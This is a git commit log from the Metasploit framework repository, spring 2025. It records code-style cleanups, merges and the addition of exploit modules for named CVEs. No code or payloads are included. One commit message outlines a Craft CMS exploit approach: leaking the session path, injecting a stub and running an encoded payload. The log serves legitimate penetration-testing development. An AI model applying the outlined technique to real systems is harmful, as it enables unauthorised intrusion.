h4x-x0r 4c03d3240a Update upsmon_traversal.rb 2025-05-06 04:06:14 +01:00
h4x-x0r 0c2ba466c6 Update pacsserver_traversal.rb 2025-05-06 04:02:33 +01:00
jheysel-r7 5b4c0b6748 Merge pull request #6 from smcintyre-r7/pr/collab/19952
Pr/collab/19952
2025-05-05 15:26:03 -07:00
jenkins-metasploit 08cd1d0e89 automatic module_metadata_base.json update 2025-05-05 22:07:59 +00:00
adfoster-r7 355dfdda1f Merge pull request #20122 from bcoles/rubocop-modules-auxiliary-vsploit
modules/auxiliary/vsploit: Resolve RuboCop violations
2025-05-05 22:56:29 +01:00
Spencer McIntyre 1071c7e6b7 Merge pull request #20127 from bcoles/lib-msf-core-option_container
Msf::OptionContainer: Replace `.sorted` Array attribute with `self.sort`
2025-05-05 14:15:04 -04:00
Spencer McIntyre be8f4f929c Fix an issue in the ESC8 module 2025-05-05 13:40:33 -04:00
adfoster-r7 c9fb08b422 Merge pull request #20132 from bcoles/spec-acceptance
spec: acceptance: remove RHOST_REGEX constant
2025-05-05 18:19:41 +01:00
Spencer McIntyre ae412f0154 Promote the DOMAIN option
LDAP now uses the LDAPDomain option but this module intends to use it
for both LDAP and HTTP so deregister LDAPDomain, and reregister DOMAIN
as a non-advanced, required option.
2025-05-05 11:16:35 -04:00
Spencer McIntyre d95146e315 Use retry to speed things up but also wait longer 2025-05-05 11:06:09 -04:00
Spencer McIntyre 6ab275a120 Remove a couple of debug prints 2025-05-05 10:58:41 -04:00
bcoles 503d8b8931 spec: acceptance: remove RHOST_REGEX constant 2025-05-05 22:23:14 +10:00
bcoles ae65bb3034 Ui::Console::ModuleOptionTabCompletion#tab_complete_option_names: sort results 2025-05-05 21:22:21 +10:00
jenkins-metasploit 9797ef1b6c automatic module_metadata_base.json update 2025-05-05 06:57:38 +00:00
msutovsky-r7 e4d03ad3e0 Land #20125, removes quotes around constant
Modules: Remove quotes surrounding quoted license constant
2025-05-05 08:49:15 +02:00
bcoles f73e982d23 modules/auxiliary/client: Resolve RuboCop violations 2025-05-04 23:26:52 +10:00
bcoles 127e4c553f modules/exploits/unix/x11: Resolve RuboCop violations 2025-05-04 16:24:31 +10:00
bcoles 0589879271 modules/auxiliary/bnat: Resolve RuboCop violations 2025-05-04 12:09:08 +10:00
h4x-x0r 832c725b93 Update pacsserver_traversal.rb 2025-05-03 20:36:10 +01:00
h4x-x0r d631fdc32f cleanup
cleanup
2025-05-03 20:23:39 +01:00
bcoles b37002fe42 Msf::OptionContainer: Replace .sorted Array attribute with self.sort 2025-05-04 01:29:28 +10:00
h00die-gr3y 2baabfa17b update check method to detected other vulnerable services 2025-05-03 14:08:49 +00:00
bcoles 417f9a0d03 Msf::Post::Linux::Kernel: Add yama_ptrace_scope method 2025-05-03 16:11:32 +10:00
bcoles a99333a9ca Modules: Remove quotes surrounding quoted license constant 2025-05-03 12:57:40 +10:00
h4x-x0r 60387de6c9 cleanup
cleanup
2025-05-02 23:28:29 +01:00
h4x-x0r 514f51d7dc CVE-2025-2264
CVE-2025-2264
2025-05-02 22:56:30 +01:00
h4x-x0r bd11531d4c wrong branch 2025-05-02 22:55:36 +01:00
h4x-x0r 18c34c6bd0 CVE-2025-2264
CVE-2025-2264
2025-05-02 22:53:57 +01:00
h00die-gr3y 908094da6b update documentation with privileged escalation to system 2025-05-02 20:59:07 +00:00
h00die-gr3y 1c5be6154a second release including Triofox + documentation 2025-05-02 20:42:14 +00:00
jenkins-metasploit 03e2d25ac9 automatic module_metadata_base.json update 2025-05-02 15:43:23 +00:00
jheysel-r7 aa3efedf43 Merge pull request #19992 from sjanusz-r7/add-opnsense-login-scanner
Add OPNSense Login Scanner module
2025-05-02 08:34:36 -07:00
jheysel-r7 90417306bb Merge branch 'master' into add-opnsense-login-scanner 2025-05-02 07:20:01 -07:00
jheysel-r7 daddc6ec9d Update lib/metasploit/framework/login_scanner/opnsense.rb 2025-05-02 07:19:04 -07:00
jenkins-metasploit 4303da19b0 automatic module_metadata_base.json update 2025-05-02 14:13:49 +00:00
bcoles dfb82a37b6 modules/auxiliary/vsploit: Resolve RuboCop violations 2025-05-03 00:09:57 +10:00
jheysel-r7 4b9032a487 Merge pull request #20060 from mekhalleh/rce_cve-2025-21293
Added exploit module for CVE-2025-32433 (Erlang/OTP)
2025-05-02 07:05:30 -07:00
bcoles ec484f97c6 modules/post/linux: Resolve RuboCop violations 2025-05-02 23:29:48 +10:00
adfoster-r7 371196f681 Merge pull request #20115 from cgranleese-r7/adds-additional-support-for-network-capture-decryption
Adds additional support for network capture decryption
2025-05-02 13:06:37 +01:00
jenkins-metasploit dace39fd11 automatic module_metadata_base.json update 2025-05-02 10:25:08 +00:00
msutovsky-r7 e178249b8c Land #20116, adds support for .library-ms files
auxiliary/fileformat/multidrop: Add support for .library-ms files
2025-05-02 12:16:57 +02:00
RAMELLA Sebastien 8da70b64d7 modify exploit response message
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-02 13:41:47 +04:00
RAMELLA Sebastien eef2fac8dc add HrrRbSsh and fix exploit response message
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-05-02 13:18:21 +04:00
Jack Heysel 4a746a3963 Relocate find_management_point method 2025-05-01 20:35:41 -07:00
jheysel-r7 c47c9b95fd Merge branch 'master' into get_naa_creds_via_relay 2025-05-01 20:33:35 -07:00
Spencer McIntyre 3216fbbde3 Fix the smb_to_ldap module 2025-05-01 16:59:16 -04:00
jenkins-metasploit 533f83cc5d automatic module_metadata_base.json update 2025-05-01 17:22:00 +00:00
msutovsky-r7 808fc5843e Land #20027, adds support for Shodan facets
Shodan facets
2025-05-01 19:13:35 +02:00
bcoles 14eca0a0b3 auxiliary/fileformat/multidrop: Add support for .library-ms files 2025-05-02 01:28:52 +10:00
jenkins-metasploit 77c2b0c758 automatic module_metadata_base.json update 2025-05-01 14:50:31 +00:00
jheysel-r7 e87f244357 Merge pull request #20106 from bcoles/word_unc_injector
Move auxiliary/docx/word_unc_injector module to auxiliary/fileformat/
2025-05-01 07:39:50 -07:00
adfoster-r7 c967e94afc Adds additional support for network capture decryption 2025-05-01 15:05:42 +01:00
Metasploit 763fe87143 Bump version of framework to 6.4.62 2025-05-01 07:18:38 -05:00
adfoster-r7 79c0fd6b97 Merge pull request #20114 from rapid7/revert-20080-adds-http-support-for-network-capture-decryption
Revert "Adds network capture decryption support to http scanners"
2025-05-01 12:52:22 +01:00
jenkins-metasploit 43ff6c51b5 automatic module_metadata_base.json update 2025-05-01 11:52:11 +00:00
cgranleese-r7 a439ce2147 Land #20113, Fix broken cache generation 2025-05-01 12:44:15 +01:00
cgranleese-r7 3002ad551f Revert "Adds network capture decryption support to http scanners" 2025-05-01 12:35:18 +01:00
adfoster-r7 a2cf7d7ef6 Fix broken cache generation 2025-05-01 12:21:55 +01:00
Simon Janusz e4aec40a44 Merge pull request #20080 from cgranleese-r7/adds-http-support-for-network-capture-decryption
Adds network capture decryption support to http scanners
2025-05-01 11:18:34 +01:00
cgranleese-r7 8a40737297 Land #20110, modules/post/osx: Resolve RuboCop violations 2025-05-01 10:54:33 +01:00
Ashley Donaldson 1ab3fc1a72 Add built HostingCLR binaries 2025-05-01 08:28:12 +10:00
Ashley Donaldson 2030818e90 Remove obsolete syscall logic; fix all warnings and lock in warnings as errors 2025-05-01 08:26:59 +10:00
jheysel-r7 3141152393 Merge pull request #20017 from zeroSteiner/feat/mod/ldap/passwords
Add LAPSv1 and LAPSv2 LDAP Module
2025-04-30 14:02:30 -07:00
Spencer McIntyre 2fdb2611f9 Note the version of LAPS here 2025-04-30 16:38:54 -04:00
Spencer McIntyre 5dd4098c75 Bump the version of RubySMB 2025-04-30 16:37:17 -04:00
jheysel-r7 0f22a18dac Merge pull request #20081 from msutovsky-r7/exploit/wondercms-rce
Adds module for  CVE-2023-41425 WonderCMS RCE
2025-04-30 13:14:45 -07:00
Christophe De La Fuente d83e6072ef Add the module and documentation for Ivanti RCE CVE-2025-22457 2025-04-30 22:02:16 +02:00
Metasploit 35ecb89bf8 Bump version of framework to 6.4.61 2025-04-30 13:06:00 -05:00
Spencer McIntyre c3d535e965 Merge pull request #19938 from msutovsky-r7/fix/clipboard_file_download
Extapi clipboard updates
2025-04-30 13:48:01 -04:00
adfoster-r7 8aa1923eca Merge pull request #20108 from bcoles/rubocop-modules-post-multi
modules/post/multi: Resolve RuboCop violations
2025-04-30 18:16:01 +01:00
bcoles bf5269edc0 modules/post/osx: Resolve RuboCop violations 2025-05-01 02:49:28 +10:00
bcoles 2a616f7560 modules/post/multi: Resolve RuboCop violations 2025-05-01 02:32:23 +10:00
Martin Sutovsky 1f650b0432 Adding SRVHOST check 2025-04-30 17:58:15 +02:00
Martin Sutovsky f2e0fe79be Responding to comments 2025-04-30 17:53:26 +02:00
Christophe De La Fuente ed5e6db85e Fix issue that prevented to register exploit attempts 2025-04-30 17:45:12 +02:00
Diego Ledda 8ae6d353d8 Land #20085, module exploit for Craft CMS Preauth RCE (CVE-2025-3243)
Land #20085, module exploit for Craft CMS Preauth RCE (CVE-2025-3243)
2025-04-30 17:22:50 +02:00
cgranleese-r7 2c00a912cb Land #20107, modules/post/multi/gather: Resolve RuboCop violations 2025-04-30 16:10:36 +01:00
jheysel-r7 a0f200dba0 Merge pull request #20100 from bcoles/rubocop-modules-post-windows-gather
modules/post/windows/gather: Resolve RuboCop violations
2025-04-30 07:51:12 -07:00
Chocapikk 73f0963d81 Lint ^^ 2025-04-30 16:16:30 +02:00
Valentin Lobstein 691cead95c Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-04-30 16:10:32 +02:00
cgranleese-r7 0c7ddd58fe Land #20104, modules/post/solaris: Resolve RuboCop violations 2025-04-30 15:01:23 +01:00
bcoles fab5a3b1b1 modules/post/multi/gather: Resolve RuboCop violations 2025-04-30 20:15:08 +10:00
Valentin Lobstein c85fe60596 Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-30 11:33:14 +02:00
Valentin Lobstein 301e9e64e7 Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-30 11:32:58 +02:00
bcoles 5a601fc8b2 Move auxiliary/docx/word_unc_injector to auxiliary/fileformat/ 2025-04-30 18:26:15 +10:00
L 0bc2bcc3d2 fix DidYouMean notfound 2025-04-30 10:56:38 +08:00
bcoles 7b8cf0bfbb modules/post/windows/gather: Resolve RuboCop violations 2025-04-30 11:23:07 +10:00
Chocapikk 39a5d710aa Refactor module: modularization, session-path leak, randomized key, improved check
- Centralized fetch_cookies_and_csrf and execute_via_session methods for clarity
- Added leak_session_path() to call send_transform("phpinfo") and parse session.save_path via XPath
- In check(): first try to leak the PHP session directory (report vulnerable if successful), then perform a simple RCE check by summing two 4-digit random numbers with print_r()
- Stub injection now happens once in fetch_cookies_and_csrf; execute_via_session only needs the payload
- Randomized the "as hack" key in send_transform
- Simplified exploit() to reuse execute_via_session with a Base64-encoded payload
- Big thanks to @jvoisin for the suggestions!
2025-04-30 00:24:25 +02:00
Spencer McIntyre 319037ede5 Merge pull request #20097 from smashery/action_run_arg
Action run arg
2025-04-29 15:42:11 -04:00
jheysel-r7 3a3a2dbf85 Merge pull request #20084 from bcoles/rubocop-modules-auxiliary-docx
modules/auxiliary/docx/word_unc_injector: Resolve RuboCop violations
2025-04-29 12:34:35 -07:00
Chocapikk f24801a4a4 Update doc 2025-04-29 20:06:40 +02:00
Spencer McIntyre bdca86f39f Map the GKDI endpoint as a workaround 2025-04-29 14:01:42 -04:00
Spencer McIntyre 878653abe2 Update the module docs 2025-04-29 14:01:35 -04:00
Spencer McIntyre d59337f0a5 Add LAPS data for ldap_spec 2025-04-29 14:01:23 -04:00
Valentin Lobstein 9d0d12004e Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-29 19:59:09 +02:00
Valentin Lobstein 59b9249cec Update modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-04-29 19:58:38 +02:00
bcoles f2a69666cd modules/post/solaris: Resolve RuboCop violations 2025-04-30 00:19:25 +10:00
adfoster-r7 bedcaac324 Merge pull request #20101 from bcoles/rubocop-modules-post-firefox
modules/post/firefox: Resolve RuboCop violations
2025-04-29 14:00:29 +01:00
bcoles e99ae3d23e modules/post/firefox: Resolve RuboCop violations 2025-04-29 21:39:18 +10:00
Ashley Donaldson b0f8df0894 Flow the action through to the exploit class 2025-04-29 17:13:02 +10:00
Ashley Donaldson 49823d445a Added/fixed unit tests 2025-04-29 09:48:15 +10:00
Ashley Donaldson c9c89da213 Include action in parsing options 2025-04-29 09:48:15 +10:00
Ashley Donaldson 6ec67d6a26 32-bit .NET working 2025-04-29 09:44:03 +10:00
Ashley Donaldson 7c7a56f9a5 Building 32-bit execute assembly 2025-04-29 09:44:03 +10:00
h00die-gr3y a6aca51230 initial module 2025-04-28 21:00:55 +00:00
jenkins-metasploit 157a15a389 automatic module_metadata_base.json update 2025-04-28 19:37:32 +00:00
adfoster-r7 498bc208c1 Merge pull request #20094 from bcoles/rubocop-modules-post-hardware
modules/post/hardware: Resolve RuboCop violations
2025-04-28 20:29:19 +01:00
adfoster-r7 ac9669d11a Merge pull request #20092 from bcoles/rubocop-modules-post-windows-gather-credentials
modules/post/windows/gather/credentials: Resolve RuboCop violations
2025-04-28 20:19:54 +01:00
adfoster-r7 7ebe8f207d Update modules/post/hardware/zigbee/zstumbler.rb 2025-04-28 20:12:59 +01:00
bcoles 04e1424e31 modules/post/hardware: Resolve RuboCop violations 2025-04-29 01:52:00 +10:00
bcoles 333c38b39e modules/post/windows/gather/credentials: Resolve RuboCop violations 2025-04-28 09:08:33 +10:00
jenkins-metasploit 912931d95c automatic module_metadata_base.json update 2025-04-27 22:19:02 +00:00
adfoster-r7 1b3ad5050d Merge pull request #20093 from jvoisin/fix_typo
Fix an unfortunate typo
2025-04-27 23:10:40 +01:00
jenkins-metasploit 3ce07a2e7a automatic module_metadata_base.json update 2025-04-27 22:08:05 +00:00
adfoster-r7 ba2b72b4ff Merge pull request #20091 from bcoles/rubocop-modules-post-linux-gather
modules/post/linux/gather: Resolve RuboCop violations
2025-04-27 22:59:44 +01:00
jvoisin 085f0380c3 Fix an unfortunate typo 2025-04-27 20:37:15 +02:00
RAMELLA Sebastien 73208fda35 add optenum for output ext
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 21:02:04 +04:00
RAMELLA Sebastien 32a8e6797e fixes review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 20:31:13 +04:00
RAMELLA Sebastien d474d9b796 content nil and empty
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 13:32:41 +04:00
RAMELLA Sebastien dc88f3ffd9 fixes review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-27 13:22:47 +04:00
Chocapikk a0e9758c7f Improve error handling, and search csrf_token in root uri 2025-04-27 08:01:17 +02:00
bcoles 394e7a1ba2 modules/post/linux/gather: Resolve RuboCop violations 2025-04-27 12:23:56 +10:00
Chocapikk 89404c28e1 Fix markdown 2025-04-26 23:55:00 +02:00
Chocapikk b8d2681335 Remove useless config suggestions 2025-04-26 23:53:59 +02:00
jenkins-metasploit f84cae4cc8 automatic module_metadata_base.json update 2025-04-26 17:20:18 +00:00
adfoster-r7 d4988c4eb2 Merge pull request #20073 from bcoles/rubocop-modules-exploits-solaris
modules/exploits/solaris: Resolve RuboCop violations
2025-04-26 18:08:17 +01:00
adfoster-r7 decb528470 Merge pull request #20090 from bcoles/rubocop-modules-post-apple_ios
modules/post/apple_ios: Resolve RuboCop violations
2025-04-26 18:05:20 +01:00
adfoster-r7 c5ad0c3cf9 Merge pull request #20089 from bcoles/rubocop-modules-post-networking
modules/post/networking: Resolve RuboCop violations
2025-04-26 18:04:43 +01:00
adfoster-r7 7a7a3abd3f Merge pull request #20088 from bcoles/rubocop-modules-post-bsd
modules/post/bsd: Resolve RuboCop violations
2025-04-26 18:04:12 +01:00
adfoster-r7 3daecae78c Merge pull request #20087 from bcoles/rubocop-modules-post-android
modules/post/android: Resolve RuboCop violations
2025-04-26 18:03:42 +01:00
bcoles f607f4b5b2 modules/post/apple_ios: Resolve RuboCop violations 2025-04-27 02:31:19 +10:00
bcoles dc63ea9668 modules/post/networking: Resolve RuboCop violations 2025-04-27 02:13:25 +10:00
bcoles bf12f3ee8d modules/post/bsd: Resolve RuboCop violations 2025-04-27 02:09:41 +10:00
bcoles 2d94c28c53 modules/post/android: Resolve RuboCop violations 2025-04-27 01:56:49 +10:00
jenkins-metasploit 6358035a59 automatic module_metadata_base.json update 2025-04-26 15:07:46 +00:00
adfoster-r7 dd30b6fe9f Merge pull request #20083 from bcoles/rubocop-modules-exploits-android
modules/exploits/android: Resolve RuboCop violations
2025-04-26 15:59:20 +01:00
jenkins-metasploit eff44ccd89 automatic module_metadata_base.json update 2025-04-26 14:46:26 +00:00
adfoster-r7 abe20f103e Merge pull request #20086 from bcoles/rubocop-modules-post-aix
modules/post/aix: Resolve RuboCop violations
2025-04-26 15:37:58 +01:00
Chocapikk ba094199da Fix typo 2025-04-26 10:41:30 +02:00
bcoles 4fccbb0760 modules/post/aix: Resolve RuboCop violations 2025-04-26 16:28:15 +10:00
Chocapikk 332c61b6ea Fix cookie handling and switch to send_request_cgi for HTTP requests 2025-04-26 08:24:11 +02:00
Chocapikk 3e96b4148e Add comment about msftidy issue 2025-04-26 06:02:27 +02:00
Chocapikk 9392d0bdf9 Add suggestions 2025-04-26 05:56:41 +02:00
Chocapikk c4e621f3cf Add new exploit for CVE-2025-32432: Craft CMS Preauth RCE 2025-04-26 05:43:13 +02:00
e2002e 1f3f5db30b update info 2025-04-25 21:21:28 +02:00
e2002e c2ecd3f070 Merge https://github.com/rapid7/metasploit-framework into shodan_facets 2025-04-25 21:17:30 +02:00
Martin Sutovsky b117843c00 Addressing comments 2025-04-25 20:17:46 +02:00
bcoles ff3c7232e6 modules/auxiliary/docx/word_unc_injector: Resolve RuboCop violations 2025-04-26 02:24:05 +10:00
bcoles 4ce7b89bf1 modules/exploits/android: Resolve RuboCop violations 2025-04-26 01:28:35 +10:00
Martin Sutovsky 622abe78f8 Adding cleanup option: 2025-04-25 15:53:47 +02:00
Martin Sutovsky 8fe0003bbe Adding cleanup 2025-04-25 15:51:53 +02:00
Martin Sutovsky 77d0fe5ae0 Fixing calling payload 2025-04-25 15:49:24 +02:00
Martin Sutovsky 9d5c4a59e8 Adding documentation 2025-04-25 14:47:00 +02:00
Martin Sutovsky 665065e4df Module init 2025-04-25 14:35:24 +02:00
RAMELLA Sebastien 740a8130d4 combine modules
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-25 10:35:16 +04:00
e2002e 58b796e20c soft reset 2025-04-24 15:05:28 +02:00
cgranleese-r7 cfd2eda8ab Adds support to http scanners for network capture decryption 2025-04-24 11:27:18 +01:00
Metasploit 329cbc7da9 Bump version of framework to 6.4.60 2025-04-24 04:33:20 -05:00
adfoster-r7 19c71896b8 Merge pull request #20067 from adfoster-r7/fix-defer-module-payload-regression
Fix defer module payload regression
2025-04-23 21:09:04 +01:00
jenkins-metasploit 3368d8bfed automatic module_metadata_base.json update 2025-04-23 17:49:54 +00:00
Brendan f1acf0fead Merge pull request #20076 from Zeecka/patch-1
Fix typo in bypassuac_fodhelper.rb
2025-04-23 12:41:35 -05:00
jenkins-metasploit 346ef4ab01 automatic module_metadata_base.json update 2025-04-23 16:52:32 +00:00
adfoster-r7 1bfb43a467 Merge pull request #20077 from adfoster-r7/update-haraka-module-to-work-with-newer-python-versions
Update haraka module to work with newer python versions
2025-04-23 17:43:53 +01:00
adfoster-r7 da8e9e1b03 Update haraka module to work with newer python versions 2025-04-23 17:28:29 +01:00
Zeecka 9ade55bd35 Fix typo in bypassuac_fodhelper.rb 2025-04-23 17:49:11 +02:00
jenkins-metasploit b74860a17e automatic module_metadata_base.json update 2025-04-22 19:40:20 +00:00
jheysel-r7 f5aafdcfdf Merge pull request #20046 from Takahiro-Yoko/bentoml_runner_server_rce_cve_2025_32375
Add BentoML's runner server unauth RCE module (CVE-2025-32375)
2025-04-22 12:32:08 -07:00
jenkins-metasploit 29e995cd2f automatic module_metadata_base.json update 2025-04-22 18:20:13 +00:00
jheysel-r7 eba2b6c1bf Merge pull request #19760 from cdelafuente-r7/feat/pkcs12/certs_command/pkinit
Add certs command & use pkinit if kerberos tickets are not available in cache
2025-04-22 11:11:54 -07:00
Corey aa99015403 Rubocop and review changes 2025-04-22 13:36:59 -04:00
Christophe De La Fuente 226853f535 Fix EKU lookup in certificate 2025-04-22 19:08:45 +02:00
bcoles 0ef9f305f3 modules/exploits/solaris: Resolve RuboCop violations 2025-04-23 01:18:07 +10:00
RAMELLA Sebastien 0da43ef502 add maldoc in PDF polyglot
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-22 18:23:51 +04:00
Takah1ro dc8531e37f Fix after applied suggestions (escape ') 2025-04-22 21:57:05 +09:00
Takahiro Yokoyama f579235b95 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-04-22 21:53:05 +09:00
adfoster-r7 a9dc062e07 Merge pull request #20069 from sjanusz-r7/allow-overwriting-reported-module-name
Allow overwriting reported module name for report_vuln
2025-04-22 12:44:55 +01:00
sjanusz-r7 d4001ef558 Allow overwriting reported module name for a vulnerability 2025-04-22 11:55:25 +01:00
jenkins-metasploit a179669075 automatic module_metadata_base.json update 2025-04-22 10:17:22 +00:00
adfoster-r7 37136b8550 Merge pull request #20068 from bcoles/exploits-solaris-sadmind
exploit/solaris/sunrpc/sadmind_*: Cleanup and add documentation
2025-04-22 11:09:25 +01:00
RAMELLA Sebastien d387e2bb9f fix. vuln detection
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-22 10:31:02 +04:00
bcoles 1da0ebff66 exploit/solaris/sunrpc/sadmind_*: Cleanup and add documentation 2025-04-22 13:33:25 +10:00
jenkins-metasploit 62cbb794b8 automatic module_metadata_base.json update 2025-04-21 14:14:19 +00:00
msutovsky-r7 bdac31037a Land #20028, pgAdmin modules refactor
Refactor pgAdmin modules to use new lib
2025-04-21 16:03:35 +02:00
adfoster-r7 5b62007802 Fix defer module payload regression 2025-04-21 11:45:05 +01:00
Corey f991843b81 Remove file from accidental commit 2025-04-20 15:56:01 -04:00
Corey c08790c837 add module 2025-04-20 15:53:59 -04:00
Corey e61b83912c Fix initialize, add cleanup script, make perioidc script executable 2025-04-20 15:53:59 -04:00
Corey 3fee2b6684 Add writing payload and periodic script 2025-04-20 15:53:59 -04:00
Corey d5556efab3 Start basic module scaffold 2025-04-20 15:53:59 -04:00
RAMELLA Sebastien 44bf40ff3e fix. use random on SSH_MSG_CHANNEL_REQUEST (pre-auth)
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-20 21:24:46 +04:00
RAMELLA Sebastien 0a428b8d03 add scanner capability + code review
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-20 18:02:52 +04:00
jenkins-metasploit 41fbf46e8c automatic module_metadata_base.json update 2025-04-19 20:48:26 +00:00
adfoster-r7 dd68516b6c Merge pull request #20066 from bcoles/rubocop-modules-payloads-singles
modules/payloads/singles: Resolve RuboCop violations
2025-04-19 21:40:15 +01:00
jenkins-metasploit 0c311028e1 automatic module_metadata_base.json update 2025-04-19 17:01:52 +00:00
bcoles 03f4c46010 modules/payloads/singles: Resolve RuboCop violations 2025-04-20 02:57:34 +10:00
adfoster-r7 6fb76f9b51 Merge pull request #20064 from bcoles/payloads-php-reverse_php_ssl
payloads: cmd/unix/reverse_php_ssl: Resolve RuboCop violations
2025-04-19 17:53:49 +01:00
jenkins-metasploit 17b27f0905 automatic module_metadata_base.json update 2025-04-19 16:51:36 +00:00
adfoster-r7 54e2f63c50 Merge pull request #20063 from bcoles/payloads-ruby-pingback
payloads: Ruby pingback: Resolve RuboCop violations
2025-04-19 17:43:44 +01:00
adfoster-r7 d505b968d8 Merge pull request #20062 from bcoles/rubocop-modules-payloads-stagers
modules/payloads/stagers: Resolve RuboCop violations
2025-04-19 17:43:29 +01:00
jenkins-metasploit db5a82ed2d automatic module_metadata_base.json update 2025-04-19 16:40:22 +00:00
adfoster-r7 5b9423c5ff Merge pull request #20065 from bcoles/rubocop-modules-exploits-hpux
modules/exploits/hpux: Resolve RuboCop violations
2025-04-19 17:31:57 +01:00
bcoles c3824e2b72 modules/exploits/hpux: Resolve RuboCop violations 2025-04-19 23:00:07 +10:00
bcoles 6f160d28b4 payloads: cmd/unix/reverse_php_ssl: Resolve RuboCop violations 2025-04-19 20:39:52 +10:00
bcoles 5f5e2782e5 payloads: Ruby pingback: Resolve RuboCop violations 2025-04-19 19:02:28 +10:00
bcoles 991ffe4c5b modules/payloads/stagers: Resolve RuboCop violations 2025-04-19 11:11:01 +10:00
RAMELLA Sebastien fbbaab9480 fix. fail with timeout expired
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-19 00:51:54 +04:00
RAMELLA Sebastien 59ed219775 Added exploit module for CVE-2025-21293 (Erlang/OTP)
Signed-off-by: RAMELLA Sebastien <sebastien.ramella@pirates.re>
2025-04-19 00:18:46 +04:00
jenkins-metasploit 809d87a96b automatic module_metadata_base.json update 2025-04-18 17:03:16 +00:00
adfoster-r7 5c9119b644 Merge pull request #20059 from bcoles/rubocop-modules-payloads-stages
modules/payloads/stages: Resolve RuboCop violations
2025-04-18 17:48:14 +01:00
adfoster-r7 ba23e4dbde Merge pull request #20055 from bcoles/rubocop-modules-exploits-netware
modules/exploits/netware: Resolve RuboCop violations
2025-04-18 17:46:33 +01:00
jenkins-metasploit 51d525eec4 automatic module_metadata_base.json update 2025-04-18 16:33:49 +00:00
adfoster-r7 f131d91776 Update modules/exploits/netware/smb/lsass_cifs.rb 2025-04-18 17:30:59 +01:00
adfoster-r7 b07b6b98ae Merge pull request #20058 from bcoles/rubocop-modules-exploits-apple_ios
modules/exploits/apple_ios: Resolve RuboCop violations
2025-04-18 17:25:28 +01:00
bcoles 332bac8b54 modules/payloads/stages: Resolve RuboCop violations 2025-04-19 02:07:24 +10:00
bcoles 86e8c45baa modules/exploits/netware: Resolve RuboCop violations 2025-04-19 01:51:17 +10:00
adfoster-r7 5f6c6f8b4a Merge pull request #20057 from bcoles/rubocop-modules-examples
modules: examples: Resolve RuboCop violations
2025-04-18 16:50:13 +01:00
bcoles f4f6f012b5 modules/exploits/apple_ios: Resolve RuboCop violations 2025-04-19 01:43:58 +10:00
jenkins-metasploit 11fd0326fc automatic module_metadata_base.json update 2025-04-18 12:10:25 +00:00
adfoster-r7 0ff7e4c724 Merge pull request #20056 from bcoles/rubocop-modules-exploits-irix
modules/exploits/irix: Resolve RuboCop violations
2025-04-18 12:59:39 +01:00
adfoster-r7 9fcc234963 Merge pull request #20054 from bcoles/rubocop-modules-exploits-firefox
modules/exploits/firefox: Resolve RuboCop violations
2025-04-18 12:53:04 +01:00
adfoster-r7 1c8e4b1ac5 Merge pull request #20053 from bcoles/rubocop-modules-exploits-bsd
modules/exploits/bsd: Resolve RuboCop violations
2025-04-18 12:52:29 +01:00
bcoles 0e74591eee modules: examples: Resolve RuboCop violations 2025-04-18 14:13:26 +10:00
bcoles d9d8c7ed36 modules/exploits/irix: Resolve RuboCop violations 2025-04-18 13:36:02 +10:00
bcoles db1c5f4750 modules/exploits/firefox: Resolve RuboCop violations 2025-04-18 13:01:04 +10:00
bcoles 389d84cbf0 modules/exploits/bsd: Resolve RuboCop violations 2025-04-18 12:44:40 +10:00
jenkins-metasploit e09d23715b automatic module_metadata_base.json update 2025-04-18 02:01:15 +00:00
adfoster-r7 fffcd29122 Merge pull request #20052 from bcoles/exploit-dialup-multi-login-manyargs
Move exploit/dialup/multi/login/manyargs to exploit/solaris/dialup/
2025-04-18 02:52:44 +01:00
bcoles 703ff27e81 Move exploit/dialup/multi/login/manyargs to exploit/solaris/dialup/ 2025-04-18 11:36:34 +10:00
jenkins-metasploit a167528c82 automatic module_metadata_base.json update 2025-04-18 01:28:26 +00:00
adfoster-r7 cd8f32aa13 Merge pull request #20051 from bcoles/rubocop-modules-exploits-dialup
modules/exploits/dialup: Resolve RuboCop violations
2025-04-18 02:17:33 +01:00
adfoster-r7 c231b419c7 Merge pull request #20049 from bcoles/rubocop-modules-exploits-mainframe
modules/exploits/mainframe: Resolve RuboCop violations
2025-04-18 02:15:41 +01:00
adfoster-r7 7f983bdca0 Merge pull request #20048 from bcoles/rubocop-modules-exploits-bsdi
modules/exploits/bsdi: Resolve RuboCop violations
2025-04-18 02:12:35 +01:00
adfoster-r7 195f2f7418 Merge pull request #20047 from bcoles/rubocop-modules-exploits-aix
modules/exploits/aix: Resolve RuboCop violations
2025-04-18 02:11:47 +01:00
bcoles f41e077108 modules/exploits/dialup: Resolve RuboCop violations 2025-04-18 10:49:46 +10:00
jenkins-metasploit 66d82b52dc automatic module_metadata_base.json update 2025-04-17 18:32:52 +00:00
Brendan 98702a6326 Merge pull request #20044 from jheysel-r7/cve_2025_21293
Updated service_permissions with action to exploit CVE-2025-21293
2025-04-17 13:24:46 -05:00
